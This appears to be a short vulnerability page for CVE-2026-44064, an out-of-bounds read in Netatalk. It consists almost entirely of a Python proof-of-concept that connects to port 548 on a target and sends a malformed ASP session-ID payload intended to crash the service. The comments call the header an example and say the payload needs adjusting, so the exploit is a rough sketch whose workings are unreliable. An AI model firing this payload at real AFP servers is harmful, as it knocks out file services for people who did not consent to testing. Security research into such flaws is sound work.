CVE-2026-44064 Netatalk越界读取漏洞

import socket # Conceptual PoC for CVE-2026-44064 # Target: Netatalk 1.3 - 4.4.2 def trigger_poc(target_ip, target_port): # Crafted payload with malformed Session ID to trigger OOB read # Adjust payload structure based on specific protocol analysis header = b"\x00\x04" # Example ASP command header # Malformed session ID buffer causing OOB read malformed_session_id = b"\xFF" * 256 payload = header + malformed_session_id try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload) print("[*] Payload sent. Check if service crashed.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": trigger_poc("192.168.1.100", 548)